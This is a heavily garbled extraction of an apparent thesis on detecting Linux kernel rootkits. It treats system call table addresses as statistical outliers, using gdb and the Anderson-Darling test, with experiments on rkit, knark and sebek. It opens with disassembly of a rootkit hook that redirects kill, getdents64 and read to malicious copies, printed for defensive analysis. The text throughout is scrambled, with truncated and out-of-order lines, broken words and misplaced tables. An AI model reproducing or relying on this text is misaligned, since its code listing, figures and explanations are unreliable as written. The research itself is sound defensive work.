0xd087bf66:     nop 
0xd087bf68:     nop 
 cmp    $0x11c,%eax 
 jae    0xd087bf72 
0xd087bf77:     ret 
0xd087bf84:     cmp    $0x3,%eax 
xd087bf87:     je     0xd087bf9f 
xd087bf89:     push   $0xc0104108 <syscall_call> 
xd087bf8e:     ret 
xd087bf8f:     call   *0xd087c0a0 
xd087bf95:     jmp    0xd087bfa5 
xd087bf97:     call   *0xd087c0a8 
xd087bf9d:     jmp    0xd087bfa5 
xd087bf9f:     call   *0xd087c0ac 
xd087bfa5:     push   $0xc010410f <end of syscall_call> 
xd087bfaa:     ret 
 
The following code checks to see if the system call is sys_kill,  
nd if it is, redirects the system call to the malicious sys_kill system call that the attacker 
as provided at 0xd087bf8f.   
xd087bf78:     cmp    $0x25,%eax <Check if system call is ‘kill’> 
xd087bf7b:     je     0xd087bf8f <If so, redirect to malicious call> 
ext, the attacker again checks to see if the system call is sys_getdents64, and if so, 
directs the system call to the alternative, malicious sys_getdents64 furnished by the 
ttacker at 0xd087bf97, like so:   
end of the syscall_call fuction) and returnin
Dump of assembler code from 0xd087b
0xd087bf64:     nop 
0xd087bf65:     nop 
0xd087bf67:     nop 
0xd087bf69:    
0xd087bf6e:    
0xd087bf70:     jmp    0xd087bf78 
0xd087bf72:     push   $0xc0104113 <syscall_exit> 
0xd087bf78:     cmp    $0x25,%eax 
0xd087bf7b:     je     0xd087bf8f 
0xd087bf7d:     cmp    $0xdc,%eax 





















0xd087bf7d:     cmp    $0xdc,%eax 
xd087bf82:     je     0xd087bf97 
inally, the attacker checks if the system call is sys_read.  If it is indeed sys_read, the 
alling program is redirected to addresses 0xd087bf9f, where a malicious copy of 
s_read awaits.   
If necessary, it is possible to f le the malicious system calls.  
Furhter investigation may require, for examp alcious system calls be 











le, that the m








































The strip command removes all debugging symbols from an 
bject file.  During preliminary testing, it was discovered that Debian 3.1 Release 1 with 





4.1  Kernel Modifications 
 In order to debug a running kernel (or any other process) it is necessary to have a 
minimum amount of debugging support compiled into the binary.  Additional debuggin
symbols may be compiled into any binary simply by us
 –o binary binary.c”.  Although full debugging symbols may be compiled into 
the Linux kernel, the kernel binary would be huge.  In fact, this approach was tested and
the kernel was so large that it would not boot.  In practice, additional debugging symbo
do not need to be compiled into a kernel for the analysis necessary in this research.  
However, it is necessary that the kernel or binary in question has not been stripped w
the strip command.  
o
kernel version 2.4.27 installs wit
was necessary to rebuild the kernel in order to have even basic debugging ability for this
research.   
 As previously mentioned, the Linux operating system may access up to 4 
Gigabytes of virtual memory in a default configuration, with memory addresses between
0x00000000 and 0xFFFFFFFF in hexadecimal notation.  The kernel which wi
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used in this research has had support for 4 Gigabytes of memory removed, and now on
supports up to one Gigabyte of memory.  None of the hardware to be used in these 
experiments has four Gigabytes of memory, but if statistical outliers may be detecte
one Gigabyte (or less) memory space, detecting those same outliers in a four Gigabyte 
memory space should pose much less of a challenge.   
 
ly 
d in a 
Another tool available for kernel debugging is the Linux kernel debugger (kdb).  
relimi d in 
 
tegory includes but one application, the GNU debugger, or gdb.  Gdb is a 
urce level debugger, and includes facilities for examining memory, disassembly, 
ocesses, scripting support, and many other functions.  Gdb does 
el 
P nary experiments have shown kdb to be unstable and problematic when use
conjunction with XWindows.  Performance in terminal mode is much better, however 
many of the commands covered in the documentation do not appear to be implemented.  
It is mentioned here because it required two kernel patches and recompilation of the
kernel to implement.   
 
4.2  Memory Analysis Toolset 
 Two categories of memory analysis tools were selected for use in this research.  
The first ca
so
attaching to running pr
require a minimum set of debugging symbols to be compiled into the binary to be 
debugged, but in practice this simply requires that the debugging target must not have 
been stripped in order to save space.  Debugging a running kernel with gdb requires the 
kernel binary (typically /boot/vmlinux) and a core file for the running kern
(typically /proc/kcore).  Gdb has proven indispensable in kernel debugging for the 
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purpose of rootkit detection, and will be a primary application used in this researc
41] 
h [39-
The second category of memory analysis tool consists of the Linux kernel 
ebugger, kdb.  The kernel debugger consists of two kernel patches, and requires that the 
kernel be recompiled i ave shown kdb to be 
unstable, particularly when used in conjunction with XWindows, and a substantial 
portion of the com red in the kdb documentation do not appear to be 
implemented.  Further adding to these problems, kdb does not appear to support output 
redirection and other Unix command line convenienc he difficulty of 
utilizing it for any han a curs  examina nd 
memory.   
 
4.3  Kernel Symb





n order to use kdb.  Preliminary experiments h
mands cove
es, adding to t
thing other t ory tion of kernel structures a
ols 
 
o en the kernel is compiled, a file called /boot/System.map is generated as 
part of the compilation process.  More specifically, /boot/System.map is generate
using the nm command, such as ‘nm /boot/debug/vmlinux-2.6.8’.  
The nm command lists symbols from given object files.  The form of the output consists 
of the symbol value (memory address), symbol type, and symbol type.  A typical 
system.map file consists of well over twenty thousand entries, but a sample is 




Table 4.1:  sample system.map file contents 
Hex Address Symbol Type System Call 
c011b540 T Sys_rt_sigprocmask 
c011b6b0 T Copy_siginfo_to_user 
c011baf0 T sys_kill 
c011bd00 T Sys_rt_sigqueueinfo 
c011bf20 T do_sigaltstack 
sys_rt_sigaction 
11c240 T sys_sgetmask 





wishes t should be re-created using the nm 
com a e of 
debugg ed in debugging the 
ker . ymbols may be obtained by issuing the 
‘info functions debugger, gdb.   
 at), 
sym bol name are very 




c011b610 T do_sigpending 
c011b6a0 T sys_rt_sigpending 
c011b840 T Sys_rt_sigtimedwait 
c011bb50 T sys_tgkill 
c011bc30 T sys_tkill 
c011bd70 T do_sigaction 
c011c060 T sys_sigpending 




Furthermore, it should be noted that the /boot/System.map file is merely a 
 residing on the filesystem, and may be easily modified by an attacker.  If one 
to depend on this file for debugging purposes, i
m nd as explained previously.  This file is important in that it is a primary sourc
ing information (system call function names and addresses) us
nel   Additionally, a listing of kernel function s
’ command from within the GNU 
Table 4.1 consists of a symbol value (memory address in hexadecimal form
bol type, and symbol name.  Symbol value and sym
igh forward, but symbol type merits
ere t symbol types that may exist within the kernel [42].  These are: 
"A":   The symbol's value is absolute, and will not be changed by further linking. 
"B":  The symbol is in the uninitialized data section (known as BSS) 
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• "C":  The symbol is common.  Common symbols are  uninitialized  data.  When  
linking, multiple common symbols may appear with the same name.  If the 
symbol is defined anywhere,  the  common  symbols are treated as undefined 
references. 
"D":  The symbol is in the initialized data s• ection. 
al 
is a GNU 
• 
  
•  a 
• "G":  The symbol is in an initialized data section for small objects.  Some object 
file formats permit more efficient access to  small data  objects,  such  as  a glob
int variable as opposed to a large global array. 
• “I":  The symbol is an indirect reference to another symbol.  This 
extension to the a.out object file format which is rarely used. 
• "N":  The symbol is a debugging symbol. 
• "R":  The symbol is in a read only data section. 
• "S":  The symbol is  in  an  uninitialized  data  section  for  small objects. 
• "T":  The symbol is in the text (code) section. 
• "U":  The symbol is undefined. 
"V":  The  symbol  is  a  weak object.  When a weak defined symbol is linked 
with a normal defined symbol, the normal defined  symbol  is  used with no error.
When a weak undefined symbol is linked and the symbol is not defined, the value  
of  the  weak  symbol becomes zero with no error. 
"W":  The  symbol  is  a  weak  symbol that has not been specifically tagged as
weak object symbol.  When a weak defined symbol  is linked  with a normal 
defined symbol, the normal defined symbol is used with no error.  When a weak 
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undefined symbol is  linked and  the  symbol  is  not defined, the value of the 
weak symbol becomes zero with no error. 
• 
ile format specific. 
4.4  Linux Kernel Modules 
 Many linux kernel rootkits take of the form of loadable kernel modules.  Linux 
kernel developers, perhaps in an attempt to slow the further development of linux kernel 
rootkits, have made substantial changes in the way that linux kernel modules are handled 
between kernel version 2.4 and kernel version 2.6 [43].   
 The most significant change to Linux kernel modules in the move from Linux 
kernel version 2.4 and Linux kernel version 2.6 is that Linux kernel modules are loaded 
much differently.  The typical user will not notice any difference with the exception that 
the suffix for the Linux kernel module has changed.  Programmers use high level tools to 
manage the creation of Linux kernel modules, and the interface to these tools has not 
changed [43].   
"-":  The symbol is a stabs symbol in an a.out object file.  In  this case,  the  next  
values printed are the stabs other field, the stabs desc field, and the stab  type.  
Stabs symbols are used to hold debugging information. 
• "?":  The symbol type is unknown, or object f
 From looking at the /boot/System.map file (or by re-creating it with the nm 
command), we can see that since system call functions are in the text section of the 
kernel, they will always have a symbol type of “T”.  The system call table, being in the 
initialized data section of the kernel, will always have a symbol type of “D”.  This 




 In Linux kernel version 2.4, some program running in user space would interpret
the Linux kernel module file (mymodule.o), link it to the running kernel, and generat
finished binary image. This program would then pass the binary image to the kernel and 




he Linux kernel module object file, the file 
 name  
 
s a 
In Linux kernel version 2.6, the procedure for creating a loadable kernel module 
rnel module in Linux kernel version 2.6, 
odule file requires. This file will be 
ferred to as the .mod file because the suffix of the file is typically ".mod".  Next, the 
 links the result with the original object file (*.o) 
 
 In Linux kernel version 2.6, it is the kernel that does the linking. Some user space 
program passes the contents of the Linux kernel module object file directly to the kernel. 
In order to function correctly, the Linux kernel module object image must contain some
additional information. To correctly identify t
is d with suffix ".ko" ("kernel object") instead of ".o".   Obviously, there exists an
all new modutils package for use with Linux kernel version 2.6. In this new package,
insmod is a very small program, compared to the insmod command that include
fully functional linker in Linux kernel version 2.4 [43]. 
 
is more involved. In order to create a loadable ke
a programmer starts with a regular object (*.o) file. The programmer would then use the 
command modpost on the object (*.o) file in order to create a C source file that 
describes the additional sections the loadable kernel m
re
programmer compiles the .mod file and
to create the final loadable kernel module (*.ko) file [43]. 
 The .mod object file contains the name that the loadable kernel module instance
will have when it is loaded.  This name is set with the -D compile option during the 
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compilation of the .mod file, which sets the KBUILD_MODNAME macro.  This change 
complicates some things for the programmer or system administrator [43].   
 For example, changing the name for the loadable kernel module instance in Linux 
n with the 
e 
wants to load it with some other name, they must accomplish this by 




kernel version 2.4 could be accomplished by using the “-o” command line optio
insmod command.  However, in Linux kernel module 2.6 there is no such command 
line option for the command insmod [43].   
 The name of the loadable kernel module is part of the object file (*.o) that the 




4.5  Kernel Debugging:  Selected Commands 
 In order to begin debugging the Linux kernel, one may issue several commands at
the operating system level or from a debugger (gdb).  Some of these commands, and 
accompanying explanations, are shown below [39].   
 
4 Operating system commands 
 /usr/bin/nm /usr/src/linux-2.4.27/vmlinux.  The file 
/boot/System.map contains all of the symbols available in the kernel.  However, 
 
d, 
the administrator completes 
this file is only a text file available to anyone with superuser access.  As such, it should
not be trusted, and this command will reproduce the contents of this file.  The operan
/usr/src/linux-2.4.27/vmlinux, is created when 
 37
the process of recompiling the Linux kernel.  The information  produced by this 
command is invaluable for use in debugging the kernel [42].   






ss of a 
Furthermore, if the kernel located at /usr/src/linux-2.4.27/vmlinux is the 
currently running boot kernel, it may be debugged by executing this command.  The 
command gdb is the GNU debugger, the file /usr/src/linux-2.4.27/vmlinux
is the kernel binary, and the file /proc/kcore is an alias for the memory in the 
computer .   
 
4.5.2  Debugger Comman
 Once the system administrator has issued a debugging command such as  
gdb /usr/src/linux-2.4.27/vmlinux /proc/kcore, it is then possible 
to issue debugger commands and examine the state of the kernel.  These commands ra
in purpose from printing the contents of the system call table, printing the addre
given system call, or disassembling system calls [39].   
 x/252 sys_call_table.  This command simply prints the addresses in th
system call table for Linux kernel version 2.4.27.  Once obtained, these addresses can be 
analyzed for the presence of outliers using a variety of methods.   
 p sys_read
e 
.  The “P” debugger command is used to print the address of an 
object (system call, variable, etc.) within the kernel.  This is useful for checking the 
address of kernel components that are commonly attacked.   
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 disass sys_read.  The “disassemble” debugger comand simply allows 
for the disassembly of kernel functions.  This functionality is essential for the detection of 
runtime kernel patching rootkits.   
 info functions.  This command outputs the memory address and name of 
every exported function within the kernel.  This command is particularly valuable, since 
runtime kernel patching rootkits may be able within the kernel as 
ell.  As such, it is important to obtain a list of all exported kernel functions so that they 
ay be checked for traces of rootkit infection. 
 
4.5.3  Data Acquisition  
 Typically, the data analyzed in this research is acquired by issuing debugging 
commands from within gdb, the GNU debugger.  As explained in detail in section 4.5.2, 
the addresses in the system call table may be retrieved using the debugger command  
`x/252 sys_call_table` and is used in detecting the system call table 
modification attacks using the general and normal distribution models.   




 to attack any function 
w
m
 The jump instructions from the
commands similar to `disass sys_read` which yields the disassembled code for th
entire sys_read system call.  As a second step, a small perl program collects the operands 
of the jump instructions from this disassembled code.  This data is then used to detect the






USING GENERAL DISTRIBUTION MODELS 
 
 In this chapter the details of detecting the system call table modification attack 
will be explored more thorougly.  Section 5.1 includes definitions and a formal model, 
s.  
An in depth discussion of basic statistical methods used in outlier analysis is presented in 
section 5.3.  Experimental results from the detection efforts against four different 
rootkits, each employing the system call table modification attack, are presented in 
section 5.4.  Finally, conclusions from this approach are presented in section 5.5.   
 




while section 5.2 includes a necessary discussion regarding different hardware platform
 
5.1  Definitions and Formal Model 
 Definition of an outlier.  Anyone who has analyzed several sets of real data ha
probably noticed ‘outliers’.  An intuitive definition of an outlier is “an observation which 
deviates so much fr
s 
om other observations as to arouse suspiciouns that it was generated 
y a different mechanism [44]”.  Scrutinizing a sample containing one or more outliers b
would show characteristics such as large gaps between “inlying” and “outlying” 
observations, and the difference between them as measured by some standardized  
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metric [44].  Therefore, the formal definition of an outlier is “an observation that lies 
outside the overall pattern of a distribution [45].”   
Definition of a discordancy test.  Typically, outliers are either accomodated or 
ating 
sence of a desire to 
ccommodate outliers, statistical tests are needed to determine whether or not an 
 
 
rejected.  Since the focus of this research is the detection of kernel rootkits, accomod
their presence would not be appropriate.  In this instance, the goal is to reject them or at 
least identify them as features of special interest [46].  In the ab
a
observation is to be regarded as a member of the main population.  These statistical tests
are known as discordancy tests [46].   
 Definition of a kernel rootkit.  A kernel rootkit can be defined as some program 
2, whi
the 
 p’ [14].   
g 
p ch mimicks a subset of operating system functionality known as program p1.  
Therefore, p1 is a subset of p2.  The functionality that exists in p2, but not p1, would be 
additional functionality provided by the kernel rootkit in order to maintain control of a 
compromised system, attack other systems, destroy evidence, and decrease the chance of 
being detected by system administrators.  More formally, the kernel rootkit functionality 
can be expressed as p2 – p1 =
 Kernel rootkits attack the operating system by way of modifying system call 
memory addresses.  As previously discussed, this is accomplished through the followin
mechanisms [14]: 
 
System call table modification – Changes the addresses of the system calls in the system 
call table to point to similar, but malicious, system calls located much higher in memory. 
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System call table redirection – Modifies the system call handler, changing the address
the system call table to a similar, but malicious system call table much higher in mem
 
System call target modification
 of 
ory. 
 – Directly modifies the system call instructions (via 
runtime kernel patching), inserting a jump instruction to a location much higher in 
laye of red ection
ups f  mem






ast on a general level.  This includes two interrelated groups of 
ystem l 
st 
 knowledge will be general, obtained by 
memory which contains a similar, but malicious, system call.   
 
 Clearly, each of these mechanisms adds one successive r ir  to a 
simple memory redirection attack.  We are interested in two related gro  o ory 
addresses of both kernel rootkit functionality p2 and normal ke fu a .   
 Memory addresses for normal kernel system calls will be represented as 1(p1) 
for all system calls, and M2(p1) for the subset of system calls in the system call table.  
Memory addresses for system calls modified by rootkit functionality will be represented 
as M1(p2) for all system calls, and M2(p2) for the subset of system calls in the system call
table.  Burdach [16] has proposed that system call addresses modified by kernel r otkits 
can be considered outliers.   
 The new framework for detecting kernel rootkits through outlier analysis include
several key features.  First, it is necessary to understand the underlying distribution of
system call addresses, at le
s  call addresses:  all system call addresses in the kernel, or s1; and system cal
addresses only in the system call table, or s2.  Therefore, s2 is a subset of s1.   
 Second, both s1 and s2 will best fit some known distributions with discordancy te
scores of D1 and D2.  However, this
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experimentation with many different operating system/architecture pairs.  If a kernel 
rootkit is present, s1 and s2 will be transformed to s1’ and s2’, and D1 and D2 will be 
transformed into some less well fitting values D1’ and D2’.  Finally, one discordancy test t 
will be selected to test for the presence of outliers.  In this case, the chosen discordancy 
test is the Anderson-Darling goodness of fit test. 
 Formal Model.  The model and approach just described can now be formalized.  
The formalized technique is described below.   
s1 = M1(p1) - All sysem call addresses in the uninfected kernel   (5.1) 
2 = M2(p1) - System call addresses in the uninfected system call table  (5.2) 
1’ = M1(p2) - All sysem call addresses in the infected kernel   (5.3) 
s2’ = M2(p2) - System call addresses in the infected system call table  (5.4) 
D1 = t(s1) - Discordancy test for all system call addresses in the uninfected kernel (5.5)   
D2 = t(s2) - Discordancy test for system call table addresses in uninfected kernel   (5.6) 
D1’ = t(s1’) - Discordancy test for all system call addresses in the infected kernel (5.7) 
D2’ = t(s2’) - Discordancy test for system call table addresses in infected kernel (5.8) 
 Note that s1 and s2 are derived from general knowledge in that they are obtained 
from experimentation across mutliple operating system/architecture pairs, while s1’ and 
s2’ are obtained from the specific system under study.  If D ’ > D  or D2’ > D2 then a 
rootkit has been detected. 
 If a rootkit has been ime, until the 
discordancy test returns to cl f the outliers is 
constrained by operating sys rs are always in the 




detected, outliers are removed, one at a t
ose to normal.  Note that the location o
tem mechanics, so we know that outlie
tion.   
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 L s2j be 
the largest (right most) syste
s1’ = s1’ – s1j’          (5.9) 
s2’ = s2’ – s2j’          (5.10) 
D1’ = t(s1’)          (5.11) 
D2’ = t(s2’)          (5.12) 
And again, if D1’ > D1 or D2
ntil th
5.2  Hardware Platforms 
 One consideration that is critical to the success of this research is that the 
distribution of system call addresses for a specific kernel version must be very close 
across various architectures.  This is a necessity if analysis is to occur without additional 
a priori knowledge of the specific system under study.  Preliminary experiments were 
conducted on a 32-bit Intel machine and a 64-bit SPARC machine with different kernel 
compilation options in order to test this hypothesis.  Tables 5.1 and5.2, below, summarize 
the results of these experiments. 
Table 5.1:  Distribution fits from 32-bit Intel machine, kernel 2.4.27 
DistributionDistribution  AD-Score  
3-Parameter Loglogistic    7.357    
Logistic                   7.361   
Loglogistic                7.364  
Lognormal                  7.495  
Normal                     7.495  
3-Parameter Lognormal      7.512    
Weibull                   11.982  
 
et s1j be the largest (right most) system call address in the kernel, and let 
m call address in the system call table.  
’ > D2 then a rootkit has been detected. 
U e kernel rootkit is fully detected – that is, until D1’ <= D1 and D2’ <= D2. 
 
 
Largest Extreme Value      5.228   
3-Parameter Gamma          6.244    
3-Parameter Weibull       11.949  
Smallest Extreme Value    11.958  
2-Parameter Exponential   82.486 
Exponential              116.040 
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Table 5.2:  Distribution fits from 64-bit SPARC machine, kernel 2.4.27 
Distribution             AD-Score  
Loglogistic               10.596  
Largest Extreme Value     11.631  
Logistic                  11.760  
Gamma                     20.411  
Normal                    23.273  
3-Parameter Weibull       31.932  
3-Parameter Loglogistic   33.908   
Lognormal                 19.104  
3-Parameter Gamma         25.861   
Smallest Extreme Value    40.587  
 






Weibull                   35.818  
3-Parameter Lognormal     36.736   
2-Parameter Exponential   52.937 
Exponential              101.512  
 While the largest extreme value distribution best fits the system call table 
addresses from the 32-bit Intel machine, it was not the best fit for the system call 
addresses for the 64-bit 
e e value is still a very good fit (a close second) for the SPARC.  While many m
observations are necessary to make claims of goodness-of-fit for the system call 
addresses for various categories of computers, this result suggests that this may be 
possible, especially for machines of different architectures but having the same operatin
system and/or kernel version.   
 Experience has shown that Linux seems to be developed for and works best with 
the Intel architecture.  Installing, compiling, and loading custom modules with Linux on 
SPARC was problematic but was eventually successful [47-49].  Challenges such as this 
should be expected and planned for with the inclusion of additional architectures.   
 
5.3  Statistical Methods 
 There exist many discordancy tests for detecting outliers in univariate data.  The
include tests for samples that fit many underlying distributions – gamma, exponential, 
 45
normal, log-normal, truncated exponential, uniform, gumbel, frechet, weibull, pareto, 
poisson, and binomial distributions [46].  Experiments show that the data analyzed in
chapter tends to fit the largest extreme value best.  Furthermore, most discordancy tests 
 this 
e of 
nd identify individuals that deviate from the distribution.  This 
pproach is common in statistics, but does not scale well [50].  Using this approach, two 




n be used with any underlying 
 
ally explore 
hborhood and do not rely on the underlying distribution of the data [50].  Knorr 
require at least an estimate of the number of outliers, and their locations.  The purpos
this research is to identify outliers without a priori knowledge of this kind.   
 A general and early approach to identifying outliers is to identify the underlying 
distribution of the data a
a
LKM rootkits were successfully detected.  These resul
the following section.   
 The preliminary model in this research utilizes the method mentioned in the 
previous paragraph, in conjunction with the Anderson-Darling goodness-of-fit test to 
identify individuals that deviate from the underlying distribution.  Hawkins 
possibility of using any goodness-of-fit test as the basis for an outlier test, and that an
good candidate for an outlier test would emphasize the quality of fit in the tails – one 
such test is the Anderson-Darling goodness-of-fit test [44].  The possibility of using the
Anderson-Darling test as an outlier test does not seem to have been investigated, but was 
promising since this statistic is completely general and ca
distribution [44].  This fact alone makes the Anderson-Darling goodness-of-fit test 
preferable to any previously mentioned discordancy tests for univariate data.   
 Distance based approaches to outlier analysis have been investigated by
Ramaswamy et al. [36] and Knorr & Eng [32;35].  These techniques typic
some neig
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& Eng identify outliers by counting neig s withinhbor  a specified radius, with the radius 
o parameters [50].  Ramaswamy et al. 
es to their nearest neighbors [50]. 
Breunig et al. have investigated a density based technique to score data points using 
est 
 
. It is 
s 
that the 
ith a statistical 
ution function F is  
2 = N
and threshold number of points as the only tw
identify outliers by calculating the sum of the distanc
“local outlier factor”, a measure of outlyingness calculated for each data point [33;34;50].  
Jin et al. introduced a method for more efficiently identifying top outliers using the local 
outlier factor [37;50].   
 
5.3.1  The Anderson-Darling Goodness of Fit T
 The Anderson-Darling tests if a sample comes from a particular distribution
a modification of the Kolmogorov-Smirnov (K-S) test that gives more weight to the tail
of the distribution than the K-S test.  The K-S test is distribution free in the sense 
critical values do not depend on the specific distribution being tested [51].  
 The Anderson-Darling test utilizes the specific distribution when calculating 
critical values. This approach has the advantage of producing a more sensitive test and 
the disadvantage that critical values must be calculated for each distribution. Tables of 
critical values are not usually not supplied, since the test itself is applied w
software program that produces the critical values [51].  
 The Anderson-Darling test determines whether data comes from a specific 
distribution.  The formula for the test statistic A to assess if data (this data must be 
ordered) comes from a distribution with cumulative distrib
A  – S       (5.13) 









 [ln F(Yk) + ln(1 – F(YN+1-k))]  (5.14) 
H0 = The data fits the specified distribution. 
H1 = The data does not fit the sp




ic that should be compared against the 
l 
er 
 should be used when critical values 
y 
Stephens, and support several well known distributions.   
gnificance level. 
 The critical values for the Anderson-Darling goodness-of-fit test are dependent on
the specific distribution that is being tested. Values and formulas have been published fo
a few particular distributions. The Anderson-Darling goodness-of-fit test is a one-si
test and the hypothesis that the distribution fits a specific form is rejected if the test 
statistic, A, is larger than the critical value [51]. 
 For a given distribution, the Anderson-Darling goodness-of-fit test may be 
multiplied by a constant - which typically depends on the sample size. These constants 
are presented in various papers by Stephens [44]. This is known as the "adjusted 
Anderson-Darling" statistic. This is the metr
critical values.  Different constants (and therefore different critical values) have been 
published.  It is important to be aware of what constant was used for a given set of critica
values.  The necessary constant is typically given with the critical values [51].  A small
Anderson−Darling score indicates that the distribution fits the data better. 
 The Anderson-Darling goodness-of-fit score
for the underlying distribution have been published or are otherwise available (as in the 
use of a statistical software program).  These values are available in papers published b
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 Additionally, if a test that is sensitive to quality of fit in the tails of the 
distribution is desired, the Anderson-Darling goodness-of-fit score should be used.  One 








d.  It is appealing because the Anderson-Darling goodness-of-fit 
test is an 
i-Square and Kolmogorov-Smirnov (K-S)  goodness-of-fit tests.   
S v test, are limited to continuous distributions.  If the data fit a discrete distr
closely, such as the binomial distribution, another test such as the Chi-Square good
of-fit test should be used [51].   
 Since the Anderson-Darling goodness-of-fit score relies upon the calculation of 
critical values based on a specific distribution, the test should not be used wh
with some underlying distribution where critical values have not been calculated or are 
not otherwise available.  Additionally, if the researcher requires a test that is more 
sensitive near the center of the dist
K gorov-Smirnov test, should be used [51].   
 Sample skewness and kurtosis are typically considered as test statistics used f
testing whether a sample is normal, and the presence of outliers is a way in which the 
distribution may depart from normality.  This suggests that it is possible to use any 
goodness-of-fit test as an outlier test [44].   
 However, the idea of using the Anderson-Darling as an outlier test doesn’t appear
to have been investigate
test is completely general and may be used for any underlying continuous distribution 
F0(x) (where critical values are available).  The Anderson-Darling goodness-of-fit test 
also emphasizes the quality of fit in the tails [44].  
 Why not choose some other goodness-of-fit test?  The Anderson-Darling 
alternative to the Ch
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The Anderson-Darling goodness-of-fit test is also more sensitive to the quality of fit in 












the tails of the distribution than
m  it more appropriate for outlier analysis [51]. 
 The Chi-Square goodness-of-fit test must be applied to data that has been 
categorized or “binned” [51].  This is not a significant restriction because for non-
categorized data one can simply calculate a histogram or frequency table before applying
the Chi-Square test. However, the result of the Chi-Square test is dependent on how the
data is categorized. The data used in this research doesn’t lend itself well to
c ization, and any categorization would be essentially meaningless.  An additional 
disadvantage of the Chi-Square test is that it requires a sufficiently large sample size i
order for the test to be valid [51]. 
 One possible procedure for identifying outliers is to conduct a check on the 
assumptions in the model.  If conducting some analysis assuming normality of data, 
various checks would be applied to the data to ensure that the model fits.  One p
test would be a goodness-of-fit test, and this test would need to be sensitive to the fit in 
the tails of the true underlying distribution, but n
techniques as well, where high kurtosis and skewness are the most damaging departures 
from the model [44].   
 The use of a goodness-of-fit test should be regarded as a screen – if the data p
then the standard analytic procedure will be applied.  Otherwise, some other action w
be taken.  These actions include, but are not limited to, removing the outliers from t
sample and carrying out the original proposed analysis on the remaining ‘clean’ 
observations [44].   
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5.3.2  Specific Distributions 
 
te 
s for extreme 
me-value distribution’ [46].  In the 
ontext of using minitab, the largest extreme value distribution and smallest extreme 
alue distributions are simply the two forms of the gumbel distribution.  The gumbel 
distribution is also a special case of the fisher-tippett distribution.  The fisher-tippett 
istribution is also known as the log-weibull distribution.  The gumbel distribution is 
used to find the maximum (or minimum) of a number of samples from various 
distributions.  The gumbel distribution has a cumulative distribution of F(x) = e-e(-x) and a 
probability density function of F(x) = e-xe-e(-x).   
 A property of the gumbel distribution is that as the standard deviation decreases, 
the gumbel distribution’s pdf becomes taller and narrower.  Our data has a very small 
standard deviation, contributing to the goodness-of-fit for the gumbel distribution.   
 The gumbel distribution also has a location parameter, which is equal to the 
mode, but different than median and mean.  This is due to the fact that the gumbel 
distribution is not symmetric around it’s location parameter.  In the data for this research, 
e mode is much closer to the median than it is to the mean.  Like the gumbel 
 When working with asymptotic extreme-value distributions, it is important to no
that there are first, second, and third order types, also known as the Gumbel, Frechet, and 
Weibull distributions.  These distributions are well known as model
observations such as maximum annual wind speeds, floods, endurance limits in fatigue 
testing, annual minimum temperatures, and so on.  Each of these distributions has two 
forms, each as it relates to the greatest-value or least-value extremes [46]. 






distribution, this means that our data is not symmetric around the location parameter (the 
ode), further contributing to the good fit for this distribution.   
 Two very well fitting distributions for the memory addresses in the system call 
table were the largest extreme value and logistic distributions.  In figures 5.1 and 5.2, we 
can see that largest extreme value fits slightly better than logistic.   
 Finally, the gumbel distribution is used to find the minimum (or maximum) of a 
number of samples from various distributions.  It is possible that system call addresses in 
even a clean system are generated by more than one underlying distribution, which may 
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5.4  Experimental Results 
 As previously mentioned, there have been several attempts at preventing and 
detecting the deployment of rootkits, but they require some form of a priori knowledge 
about the specific system under observation.  This technique will employ the GNU 
debugger and other memory analysis tools, and possibly other techniques, to detect 
rootkits, through formal, rigorous analysis of the data.   
 When a Linux Kernel Module rootkit is installed, several of the entries in the 
system call table are changed to unusually large values (indicative of the system call table 
modification attack discussed previously).  This changes the goodness of fit score for the 
rgest extreme value distribution – the data is no longer such a good fit.  Because of the 
inux memory model and the method of attack, the outliers will be on the extreme right 
side of the distribution [16].  If these outliers are eliminated one by one, the distribution 
logistic 






slowly moves from a score of approximately ninety eight back to very close to the 
original score of approximately five.  
 This new technique is a method for detecting Linux Kernel Module (LKM) 
rootkits.  These rootkits modify memory addresses in the system call table, which 
originally fit the largest extreme value distribution very well; the Anderson-Darling 
goodness of fit test yields a score of approximately five.  This seems to hold across 
multiple architectures; experiments on Intel 32 bit architectures and SPARC 64 bit 
rchitectures yield similar results.   
 In experiment one, the Rkit Linux Kernel Module rootkit version 1.01 was 
ownloaded and installed o ntel computer running Linux kernel version 2.4.27.  
kit 1.01 only modifies one entry in the system call table – sys_setuid.  Rkit 1.01 was 
g 
ue 
re changes to 98.079.  Clearly, an 
utlier is present in the form of the sys_setuid system call table entry with a greatly 
increased memory address.  The sys_setuid system call table entry address was changed 
from 0xC01201F0 (good value) to 0xD0878060.  Converted to decimal, these values are 
3,222,405,616 and 3,498,541,152 – a difference of 276,135,536 and approximately 8.5% 
larger than the original value.   
a
d n a 32-bit I
R
selected because (a) it is a LKM rootkit, and (b) it attacks only one entry in the system 
call table.  If only one outlier can be detected using this method, rootkits that attack 
several system call table entries may be detected more easily.   
 From table 5.1, it is known that the test system – a 32-bit Intel computer runnin
Linux kernel 2.4.27 – has a 252 entry system call table fitting the largest extreme val
distribution with an Anderson-Darling goodness of fit score of 5.228.  When rkit 1.01 is 
installed, the Anderson-Darling goodness of fit sco
o
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 When one system call table address is modified, the goodness of fit score changes 
from 5.228 to 98.079, a change of approximately 1876%.  When the modified sys_setuid 
memory address is removed from the data, the Anderson-Darling goodness of fit score 
for the Largest Extreme Value distribution returns to 4.655 – within 1.09% of the original 
score of 5.228.   This finding is shown below in table 5.3.  





 In experiment two, the knark Linux Kernel Module rootkit version 2.4.3 was 
stalled on the same test system – a 32-bit Intel computer running Linux kernel version 
.4.27.  Knark is also  different memory 
 
 improves, but does not show a 
dramatic or significant improvement until the final outlier is removed.  The importance of 
this fact lies in the concept of complete detection.  Through this method, a rootkit that 
System AD-Score
Clean  5.228 
Modified  98.079 
Modifications Removed  4.655 
in
2  a Linux Kernel Module rootkit, and attacks nine
addresses in the system call table.  Experiment two yields similar results as experiment 
one – a 2073% decrease in goodness of fit, then a return to within 0.94% of the original
score when the outlying modified addresses are removed.  This finding is summarized 
below, in table 5.4.   
 





 Also in experiment two, as the modified system addresses are removed one by 
one, the Anderson-Darling goodness of fit score slowly
System AD-Score
Clean 5.228 
Modifications Removed 4.74 
Modified 108.379 
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attacks only one system call table address can be successfully detected.  Figure 5.3, 
below, illustrates this finding.  It is possible to not only detect most modified system ca




Figure 5.3:  Anderson-Darling score vs. outliers 
In experiment three, the sebek data capture toolkit version 2.4 was installed on the 
e test system – a 32-bit In inux rsion 2.4.27.  Some 
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sam tel computer running L  kernel ve
s re used in h techniques similar to
those employed by Linux Kernel Module rootkits.  Sebek is a suite of data capture t
designed to capture an attacker’s activities on a high interaction honeypot, without t
